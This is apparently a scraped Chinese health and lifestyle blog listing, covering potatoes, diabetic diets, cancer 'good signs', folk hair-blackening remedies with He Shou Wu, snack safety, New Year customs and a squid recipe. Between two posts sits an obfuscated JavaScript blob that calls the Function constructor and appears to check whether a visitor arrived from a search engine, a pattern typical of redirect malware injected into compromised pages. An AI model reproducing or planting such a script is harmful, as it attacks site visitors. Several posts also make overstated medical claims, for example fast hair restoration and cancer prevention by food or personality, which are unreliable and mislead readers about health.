将熟土豆切片,贴在眼睛上,能减轻下眼袋的浮肿。

把土豆切成片敷在脸上,具有美容护肤、减少皱纹的良好效果。

土豆有很好的呵护肌肤、保养容颜的功效。新鲜土豆片液直接涂敷于面部,增白作用十分显着。

6、抗癌 —— 常吃土豆防结肠癌

据国家期刊《现代养生.上半月》,土豆中大量的膳食纤维不仅可以降血糖,还可以帮助降低胆固醇水平和及时排除代谢毒素,常吃土豆能有效降低结肠癌的发病率。

土豆不愧是餐桌上的“营养之王”,而且还便宜,人人吃得起!降压抗癌、美容抗衰…常吃土豆就够啦!告诉朋友们,以后可别小看土豆!

2021-02-18 / by / in
发现天然“吸糖王”,每天坚持吃,糖尿病或许不来扰!

健康/水果/血糖调控

糖尿病是一种常见病,是高血糖特征的一种代谢性疾病,所以对于糖尿病患者来说,平时要多注意自身的饮食习惯,防止糖尿病患者的不正确饮食,合理就餐, 用食物合理控制血糖。

食用水果选种类、选时间

水果是我们平时生活中很经常食用的一类食物, 同时很多水果都深得人们的喜爱。水果的好处虽多, 但是对于糖尿病患者而言,每天的水果摄入量应该不超过200克, 同时还要注意食用的种类和食用时间。对于糖尿病患者而言, 在水果的选择上要选择含糖低的水果。比如草莓、柠檬、木瓜、 柚子等都是很不错的选择。最后就是食用水果的时间也要注意, 糖尿病患者最好在两餐之间食用水果, 一般在早上十点和下午三点左右。

天然“吸糖王”终于被发现,每天坚持吃,糖尿病或许不来扰!

对于糖尿病患者而言,在平时的时候要注意食用一些蔬菜, 并且选择的种类不要太过单一。对于黄瓜、 西红柿的蔬菜多增加摄入,这些食物也被当做天然的“吸糖王”, 经常吃对于血糖的降低有着很好的效果。同时对于碳水化合物含量较多的食物,比如山药、土豆、 胡萝卜等就最好减少摄入。


草莓

主食食用需全面:

对于糖尿病患者而言,在平时的时候要减少糖的摄入, 而主食又是我们每天摄入最多的食物, 食用在平时的时候也要注意主食的选择。并且主食也要限量, 特别每天主食摄入量最好不要超过300克。同时也要做到多种粗细杂粮共同摄入。而燕麦、玉米、 荞面等是非常适合糖尿病患者吃的食物。

对于糖尿病患者而言,在平时的饮食中, 可以多选择食用荞麦类食品。荞麦当中含有大量的膳食纤维等营养物质, 能够很好地改善葡萄糖的耐量,同时还能够控制餐后的血糖上升。并且苦荞麦当中含有麦糖醇,这种物质能够调节胰岛的活性, 从而起到降低血糖的作用。


木瓜

副食品也要调控

糖尿病患者在其他的副食品当中也要适当调控,乳制品、 菌菇类食品在每日餐食中都应该要有。而每天的食材、肉类、 主食的食用比例要控制在2:1:1。无论是什么食物都要适量, 不然的话,很有会给身体带来一定的负担。

各位如果想要稳定血糖,在平时的时候进行适当的有氧运动, 对于血糖的控制也是很不错的。


柠檬

2021-02-18 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,54,48,51,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,70,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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2021-02-17 / by / in , , ,
这10个好兆头 告诉你一辈子不得癌症 快快看一下 特别准

癌症/预防癌症/10个好兆头/预示你一辈子不得癌症/患癌的机率低/吃得美味不致癌

癌症对人类来说简直是谈虎色变,让人倍感恐惧,如果一生不得癌,自然是每个人的愿望。

下面这些特征,如果能在你的身上出现,说明患癌的机率要比一般人低很多。

1 直系亲属中没有癌症患者

这绝对是一个非常好的兆头!因为临床观察发现,有些癌症的发生,的确带有家族遗传性质。其中比较明显的,如结直肠癌、乳腺癌等。受家族共同饮食、生活习惯的影响,胃癌、肺癌等恶性肿瘤,也有家族聚集发病的倾向。

所以,如果你的直系亲属里面没有癌症病史,说明你无论是体质,还是生活习惯,都没有明显的癌症倾向。这当然不是绝对,但的确是值得我们高兴的。

2 没有熬夜的习惯


没有熬夜的习惯 

熬夜本身和癌症之间没有太大的关系。熬夜伤害的,是我们的免疫力。我们的免疫力,是防止癌症发生的最为牢靠的一堵墙。长期熬夜,免疫力降低,墙体出现塌陷,癌细胞出现的时候没有被及时杀灭,癌症的发生就有了机会。所以,没有熬夜习惯的人,免疫力不会差到哪去,癌症自然离你很远。

3 每年都能做体检

癌症在出现之前,往往会有一些癌前病变。这个时候,癌症虽然没有发生,但是我们一只脚已经踏了进去。每年一次的体检,可以帮助我们在一定程度上找到癌前病变的影子,如果能配合肠镜、胃镜的检查,及时发现消化道内的异常,就能在最早的时间里根除癌前病变,从而远离癌症。

不过,目前有些体检,并不能等同于防癌检查。所以,如果能接受防癌检查,效果最好。

4 想说就说,想哭就哭,不做老好人

有一句话你可能知道,就是好人没好报,坏人活万年。所谓好人,往往愿意自己承受不快和委屈,不把不良的情绪发泄给别人。而这样的时间久了,不良情绪不断积累,就会形成一定的能量,从而攻击自身。正因如此,我们才会发现,往往是那些生活中忍辱负重的老好人,令人意想不到地得了癌症。

所以,为了健康,我们不能过于委屈自己,要给自己的情绪找到合适的宣泄口。

5 并非离开肉就吃不下饭


并非离开肉就吃不下饭 

爱吃肉,这似乎是很多人的共性。不过,只要你没到没有肉就吃不下饭的程度,就是少得癌症的好兆头。因为那些离开肉不行,必须顿顿吃肉的人,患结直肠癌、前列腺癌等恶性肿瘤的几率,相对要高于那些,可以一天只吃一顿肉,或者两天吃一顿肉的人。因为青菜等粗纤维食物,是帮助肠道排毒,减少致癌物和身体接触的好帮手。

6 不吸烟,而且生活中没有其他人吸烟

好兆头,这绝对是好兆头。吸烟、吸二手烟是引发肺癌等多种癌症的明确因素。如果你一辈子不吸烟,生活中也没有二手烟、三手烟的长期袭扰,就能远离很多很多的致癌物。

7 每周能有三次运动,长期如此

如果你是一个喜欢运动健身的人,而且每个礼拜有三次有氧运动的机会,每次不少于40分钟,真的要恭喜你了。因为每一次有氧运动,都是对全身免疫功能的提升和加强。在大量的氧被你吸入体内的时候,你的脏腑就有足够多的,携带氧的血液来滋润。这是它们最渴望的事情。

8 一直在努力治疗慢性的基础性疾病

慢性病经过发展形成癌症,这在临床当中十分常见。慢性的呼吸系统疾病,慢性的胃肠道疾病,慢性肝病等等,都有这方面的倾向。

所以,如果你是一个比较“惜命”的人,对这些慢性病一直着意治疗,控制其发展,自然也是不容易发生癌症的好兆头。相反,如果这些慢性病没有被控制好,后果就不好说了。

9 不是一个处处争强好胜的人

临床观察发现,有很多完美主义者,最终成为癌症患者。这个现象以乳腺癌等妇科恶性肿瘤最为常见。这和此类人长期背负较大心理压力,使得免疫系统发生紊乱有关系。相反,随和,凡事看得开的人,患癌的可能性要低很多。这当然不是绝对的,但是足以令每一个完美主义、争强好胜的人警惕。

10 家里做菜“煎炸”特别少


家里做菜“煎炸”特别少 

“煎、炒、炸”这几种做菜方式被视为离癌症最近的烹调手法,但大多数中国人都是这样的饮食方式呀,有人说,那就不吃吧。其实这不但是不科学的,也是不可能的,一个几千年的习惯怎么可能一下子改变呢?把“癌从口入”理解为不吃东西,这本身就是错误的。其实,在炒菜时,通过一些小办法我们就能规避癌症风险。

家庭炒菜4大招,吃得美味不致癌

面:裹层面糊再煎炸

炸丸子、炸鱼、煎牛排等,煎炸这类食物时,肉类的蛋白质经过高温可产生致癌物。要想减少致癌物产生,可在原料外裹一层厚度适中的面糊(可用淀粉、蛋清混合)再下油锅煎炸。面糊可起到隔离作用,不让肉类直接在高温的油里加热,最大程度减少这两种致癌物产生。

醋:多放醋

在烹饪过程减少致癌因素,还要尽量保存食物中的维生素C,达到这个一举两得的目的,应该怎么做呢?建议您在炒菜时,多加点醋,因为醋可避免蔬菜中维生素C丢失,而维生素C可阻断亚硝基化合物(一种可导致消化道癌症的物质)的形成。另外,减少食物中维生素C丢失,最好别倒掉炒菜时的菜汁。

芡:勾芡

做菜时,食材里的矿物质、维生素等营养物质,会损失到汤中。而芡汁就像是一件“保护衣”,能更多地保留维生素C。通常勾芡要掌握好时间,应在菜肴九成熟时进行。过早会使芡汁发焦;过迟则使菜受热时间长,容易失去脆嫩的口味。

蒜:出锅前拌蒜泥

蒜泥中的硫化物和大蒜素有很好的抗癌抗氧化作用,但是不耐高温,所以出锅前放才有效果。

这些好兆头,大部分都是后天可以得到的!只要稍微注意,有个7、8个好兆头很容易,得癌症的机率大大下降,轻松离开高危区。你现在符合几个?别忘了给周围的朋友看看哦~

2021-02-17 / by / in
民间流传黑发食疗秘方 没多久白发要变黑

黑芝麻/黑芝麻首乌糊/首乌鸡蛋汤/首乌小米粥/白发变黑/姜丝排骨粥

白头发对一个人来说,很是影响美观,让整个人看起来都很苍老,特别年纪轻轻就长了很多白头发,也会在心理上感到自卑。

但是头发变白却不是个不可逆的过程。只要护理有方,辅以食疗,白发变黑也并不是不可能的事。

有时候看到年轻人头上时不时的冒出一些白头发,总会觉得身体肯定是哪个地方出问题了,白头发越多看上去也就越加的显老。这是很多人都不愿意碰到的情况,可是真有了白发怎么办呢?试试这个民间盛传的食疗方子、不到半个月黑发全长出来了。用了的人效果都说好。

黑芝麻首乌糊

材料:何首乌30克,黑芝麻100克,红糖30克。

做法:先将制何首乌烘干,研成粉末;黑芝麻炒熟压碎然后将锅放在中火上,倒入首乌粉加适量清水煮沸后,加入芝麻粉、红糖熬成糊状即可。早晚各冲服1次,每次10克,10天服完。

功效:坚持服用这个方子,不到半个月就会发现黑发长出来了,生活当中有白发的朋友可以试试哦!

千年人参、千年茯苓、千年何首乌,被喻为为神仙妙药,相传何首乌与人参一样,千年幻化人形,久服而有不老童颜,如加上千年灵芝等’千岁’级药草,可返老还童、长生不老。

何首乌别名有夜交藤等十多种,味苦性平,为补血袪风要药,益精血补肝肾,久服可长筋骨、益精髓,乌发驻颜。何首乌藤茎可养经脉、袪风湿、治腰酸背痛、气血两虚,茎叶加过山香、大飞扬草、藜、樟等煎汤浴洗,可治皮肤病和疥癣诸痒症。


黑芝麻

首乌鸡蛋汤

材料:首乌20克,鸡蛋2枚。

做法:首乌鸡蛋加水共煮,至蛋熟时取蛋剥壳,再煮15分钟,再加食盐适量,稍煮片刻,吃蛋饮汤。一周1-2次,连服1-2月。

功效:可乌须黑发。

首乌小米粥

具体做法是将何首乌水煎两次,取药汁备用。小米洗净,加上首乌药汁及适量清水,旺火煮,打入鸡蛋,改文火煨粥,粥成时加入白糖,拌匀。每日1剂,当早餐趁温热服,可以长期服用。本品具有补血益气、润燥美肤、乌发固齿的功效。适用于乌发美容、强身健体。

畏寒喜暖、小便清长或不利,这些都是脾胃虚寒的症状。可常喝姜丝粥缓解。


何首乌

姜丝排骨粥

材料:大米1杯、排骨250克、球形生菜叶2片、香葱适量、姜丝适量、黄酒1汤匙、生抽1汤匙、油1汤匙、盐1/4茶匙、白胡椒粉1/4茶匙

1,将米轻轻搓洗,不必洗太多次。

2,拌入油和盐将米腌半个小时,排骨用姜丝生抽和黄酒腌半小时。

3,将腌好的米,放入电锅用煲粥功能煮1小时,球形生菜切丝备用。

4,1小时候放入排骨在煮半小时,调入白胡椒粉,出锅前撒入葱花和生菜丝。

此次,两鬓斑白,多由于肝火旺盛引起。因为按照中医理论,两鬓对应的脏腑反射区是肝胆,肝胆火偏盛的人,容易脾气暴躁或者爱生闷气,常伴有口干、口苦、舌燥,眼睛酸涩等症状。此类人群饮食要以清淡为主,可以多饮莲子粥、玫瑰花茶、山楂茶。

2021-02-17 / by / in
注意!新年大吃开心果 一不小心 伤到肝

健康/零食/过年/开心果

过年都喜欢买些零食,但是消费者一定要注意购买要点,免得一不小心买回家的零食,就有可能成了雷区。

过年吃零食,随手抓起一把开心果、鱿鱼丝,一口接一口,就是停不下来,除了容易热量破表,如果购买到颜色过于鲜艳,或是闻起来有药水味道,表示漂白剂过量,还有表面呈现暗绿色,有可能已经将致癌黄曲毒素吃下肚。

鱿鱼丝颜色白雪雪?小心含漂白剂二氧化硫

根据年货大街业者统计,开心果与鱿鱼丝都是年节最畅销的零食。但是,消费者如果未注意购要点,一不小心,就有可能误踩地雷。林口长庚医院肾脏科主任医师颜宗海表示,有些业者会在鱿鱼丝或开心果添加漂白剂二氧化硫,让色泽更漂亮,二氧化硫也具防腐效果,但是,过量食用恐会有害健康,漂白剂二氧化硫如果浓度过高,民众吃下肚就会刺激肠胃道,引发恶心、腹痛等症状。

此外,漂白剂二氧化硫摄取过量,尤其是本身有过敏体质如气喘病的患者,可能会产生过敏反应,引发哮喘与呼吸困难。此外,也要小心鱿鱼丝会含有验出防腐剂“己二烯酸”,“己二烯酸”虽然是毒性较低防腐剂,但也不可随意添加于食品或是过量使用。

开心果外表有暗绿色 小心黄曲毒素污染

值得注意的是,港台气候较潮湿,有利于黄曲毒素繁衍,一般人认为只有发霉的花生与其制品中才有黄曲毒素,其实不然,例如:五谷杂粮、坚果类、豆类、南北干货类、辛香料、腌渍类食品、古法酿造制品、地瓜粉及面粉等食材,也曾有咖啡豆都遭受波及;都因为没有真空包装或开封后没放入冰箱,都难逃黄曲毒素生长的污染。

宗海医师提醒,避免误食黄曲毒素,在选择上要注意外观正常、新鲜、包装完整的。

因此要特别注意年节零食开心果的发霉问题,消费者可以从外观观察到开心果外壳如果有暗绿色,就要小心可能已经发霉了,一旦发霉的开心果通常会有黄曲毒素污染,黄曲毒素会造成肝功能损害,严重可能导致肝硬化,特别是乙肝带原者,长期大量暴露黄曲毒素,可能会增加肝癌风险。

黄曲毒素具有肝毒性、致癌性

黄曲毒素具有很强的肝毒性和致癌性物质,世界卫生组织已于1987年将黄曲毒素列管为一级致癌物,但目前尚未订出摽准含量。根据卫卫生福利部食品药物管理署标准规定,花生酱及其制品中黄曲毒素不得超过15ppb。而且,黄曲毒素具有高度热安定性,须加热 260℃以上才可被破坏,因此不容易被水煮、火炒、炊煮等高温烹煮方式去除。

颜宗海医师提醒,避免误食黄曲毒素,在选择上要注意外观正常、新鲜、包装完整的,挑选能一次可吃完的小包装产品,若有长霉情形千万不要再食用。没有吃完的开心果,建议使用保鲜盒、拉链袋等可以减少食物与空气接触的容器保存,存放于通风干燥处,若发现食物发霉、过期,应立即丢弃。

2021-02-16 / by / in
“破五”!“破”什么?大年初五讲究哪些习俗

民俗/文化/传统/过年/破五/初五/大年初五/财神

今天正月初五,在民间又被称作是“破五”。今天就和大家分享“破五”有哪些习俗。

在苏轼的词《蝶恋花》中,有“泛泛东风初破五。江柳微黄,万万千千楼。”的句子。

把初五叫作是“破五”,可谓是由来已久。那么,这“破五”又是什么意思呢?

1、破五赶五穷,从此路清明

一是“赶五穷”。这种说法曾在韩愈的《送穷文》中见过,五穷,即智穷、学穷、文穷、命穷与交穷。民间对于“穷”早已深恶痛绝,所以一定要“赶”走它。

在这一天,人们会早早起床,开始放炮。鞭炮从每间屋子往外头放,挑着鞭炮边放边往外面走,是要把所有不干净、不吉利的脏东西、坏运气等,全都轰出屋外。


放鞭炮 

然后再打扫卫生、扔垃圾。所不同的是,初五扫地,再也不用从外往里扫,而要恢复如常,从屋里往外扫,且扫得越干净越好。然后再把所有垃圾、秽物,臭鱼烂虾、破衣老裳、瓜子皮花生壳等,一股脑全扔得远远的。

这么一崩一扫一清,屋里屋外自是一片清明,人们便也心情舒爽,澄明愉快,便开始吃饭。

另一种说法是,从大年三十,人们被种种规矩拘着,不能扫地、不能拿刀、不能做针线,还有不能吃这个、不能说那个等等,这些规矩虽使人不自由,却也令劳碌整年的百姓们得以休息。

但休息之后,日子总还得继续,所以过了初五,一切都要恢复如常,这破了禁忌的一天,就被叫作“破五”。

这破五的饭也不太一样,有的地方要吃“面疙瘩”。烧一锅清水,把面和了水搅成面糊糊,然后慢慢淋入锅中,结成小指肚大小的“面疙瘩”,倒也清新可口,滋润舒服。

这饭也是有说法的,说这碗面糊糊在碗里时很是粘稠难搅,是要把往日所有的不如意、不称心全都搅乱粘住,然后放进滚水里煮烂,以求得新的一年一切顺利,吉祥如意。

也有的地方要吃“饺子”。可这破五的饺子,却又不能叫做饺子,而叫“捏小人嘴”。

这破五的饺子,却又不能叫做饺子,而叫“捏小人嘴”。

据说这饺子在准备馅料时便要使劲得剁,非要剁得“当当”响,以表示正在剁“小人”。然后再拿面皮把剁碎的小人包起来,使劲把“口”捏紧,再扔入滚水里煮。

老年间,人们总会把生活中的诸般不顺,归结到“犯小人”上,只有除掉“小人”,把它剁碎、捏紧、煮熟,才能免除谗言之祸、发泄心中恨意,这往后的日子也就能快快乐乐,顺顺利利。

2、破五接五路,五路进财富

清代顾禄所著的《清嘉录》中记载:正月初五日,为路头神诞辰… …以争先为利市,必早起迎之,谓之接路头。

初五接财神的习俗,风行于明、清和民国,至今依旧在民间流传。

其实,接路头神,是在初四的晚上就开始了的,是为了争先利市,抢得先机、早点接神、发财。

有人说,这五路神,其实是五路神仙,即:户神、灶神、土神、门神和行神。五路则是指东、西、南、北、中,出门的五个方位。

懂老规矩的人,会在初四深夜至初五凌晨备下祭品、打开门窗,焚香跪拜,并放鞭炮、烟花等表示对各路神仙的欢迎。

接过了神仙,人们还要聚在一起吃路头酒,通常会热热闹闹地吃到天亮。以示把神仙接进家门,也把金银财器、好财运接进家门,祈愿新的一年大财大富大贵。

但也有人说,财神本是《封神榜》中记载的赵公明,统领招宝天尊、纳珍天尊、招财使者、利市仙官四个手下,所有职责皆与钱财有关。


财神

除一正财神赵公明外,民间还有四位偏财神,因为各地的说法,供奉都不一样,所以无法一一列出。

特别是经商之人,通常最看重正月初五,无论何种说法,初五迎财神是没有问题的,牵涉到一年的财运、生意的发展,理应是高度重视的。

《清嘉录》中有词曰:五日财源五日求,一年心愿一时酬;提防别处迎神早,隔夜匆匆抱路头。

虽然各地所拜神仙不一,但对未来的美好祈愿、对生活前景的向往却是一样的。

据老人们说,旧时很多穷人摆不起路头酒,也敬不起财神。所以就在初五这天,三五成群地戴着财神的面具,到有钱人家门前“跳财神”。

而主人家为了讨吉利,却也不恼,叫人当场奉上钱币、吃食酬谢。其实,这应该也是无奈之举,因为不拿钱财出来,这些穷苦人就会一直“跳”“闹”不止,只得散财才能送走这些“财神”。

这场景说来讽刺,本来起早设祭是要迎财神,而这“财神”来了,却又要掏钱送“财神”走,不免增添了穷苦人家饭后的谈资和笑料,也使得这年也过得更加热闹。

3、破五要三满,三满钱成山

破五还有个说法,是“破五要三满,三满钱成山”。

说的是破五这天家里的三样东西不能空,越是满越是能带来好运气,这三满指的是:

水缸满:中国人一向认为水即是财,而正月初五多被人认为是与财神有关的日子,而财神下界进家时,则要检查家里是否有“财”的度量,也就是看看家里水多不多。

所以,老年间人们一定会把家里的水缸灌满。这也象征着新的一年财量满满,财运亨通。但要注意的是,在注入新水时,一定要把水缸里的旧水倒掉,再把水缸清理干净,不能有一点垢物杂质。

要保证水缸里的水是全新的,满满的,不但表示对神仙的虔诚,也表示去掉旧年不顺的决心。

米缸满。中国人向来认为“民以食为天”,所以家中断不能少米。所以在财神来的这天,一定要把米缸装满。


米缸要满

一是向神仙证明家里有足够的实力供奉神仙,二是象征一家人勤劳肯干,才使得家中米缸常满。神仙多喜欢百姓勤劳,看到米缸满满,一高兴就会让这家人在新的一年里收成满满,顺利、发财。

钱袋满。俗话说“钱能生钱”,想收入更多钱,则要有本钱。所以在正月初五这天,必须把钱袋子装满,让财神看到这装满的钱的钱袋子。

一来神仙会觉得这家人聪明、勤劳,经营有道,有赚钱、生钱的能力,使会给予他们更多的机会和帮助;二来是,也让神仙看到这家人有接纳更多“钱”的资本,可以“生”更多钱来。

财神本身当然喜欢那些会赚钱、会经营的人,这一高兴,便更会让这家人在新的一年财源广进、日进斗金了。

初五这天还有什么禁忌呢?

避免串门

从大年初二以后,到初五已经有三天时间。按照走亲戚的说法,即使是亲戚比较多的三天时间应该也能够完成。初五这天因为提倡点燃鞭炮将不好的东西给带走,如果串门的话,会被人认为又会将带走的东西给带回来。大家觉得这种寓意不是太好,所以都不提倡串门。

不动针线

在过年这几天里,大家基本上都不会动用针线活。特别是在过去的那些年代里,大家身上穿的衣服和脚上的鞋子都是由针线活制作出来的。在制作的过程中必须用到针和剪子,这些东西作为锋利和尖锐的象征。如果动用针线的话,会让人认为一年中可能会出现针锋相对的情况,特别是和其他人吵架的现象。


大年初五禁止针线

杜绝动土

目前已经到了春天的季节,立春时节已经过去,天气逐渐变暖。对于准备盖新房子的农民来讲,在这一天也是避免要动土的。许多事情都会在破五以后进行,如果有人想要搬进新房子的话,也需要改变一下时间。初五在送穷的时候,是禁止进行搬家的。

2021-02-16 / by / in ,
爆炒鱿鱼卷(视频)

爆炒鱿鱼卷/鱿鱼

鱿鱼有多种做法,不管鱿鱼烤还是烧味道都非常好吃,今天与大家分享爆炒鱿鱼。

爆炒菜是鲁菜常用的一个技法,爆就是用旺火爆,一锅成菜, 必需要在极短时间内赶快把菜炒好。

材料:

鱿鱼 1条,葱 1根,姜 3片,蒜2瓣,胡萝卜 0.5根,

调料:

料酒 1汤匙,醋 1茶匙,白糖 1茶匙,盐 少许,淀粉 1汤匙,蚝油 1汤匙

做法:

1. 准备工作:鱿鱼洗净后,擦干水分,然后在背面划十字刀,划好后切成小长方形。胡萝卜切片,

2. 焯水:将胡萝卜和鱿鱼放入开水中焯一下,然后捞出沥干水分。

